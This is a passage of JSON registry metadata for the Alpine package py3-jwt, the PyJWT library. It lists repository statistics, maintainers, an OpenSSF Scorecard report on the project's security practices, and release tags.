py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":"michal@polanski.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":478,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2023-02-01T00:14:42.361Z","updated_at":"2023-02-01T00:14:42.361Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-edge","url":"https://pkgs.alpinelinux.org/packages?branch=edge","ecosystem":"alpine","default":false,"packages_count":39508,"maintainers_count":890,"namespaces_count":3,"keywords_count":6579,"github":"alpinelinux","metadata":{"repos":["main","community","testing"],"funded_packages_count":2727},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.616Z","updated_at":"2026-06-10T05:16:50.784Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/namespaces"}},{"id":6135785,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2022-05-25T14:42:53.000Z","latest_release_published_at":"2022-05-25T14:42:53.000Z","latest_release_number":"2.4.0-r0","last_synced_at":"2026-03-06T07:09:08.649Z","created_at":"2023-01-31T22:24:44.179Z","updated_at":"2026-05-29T04:00:35.654Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.16/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fp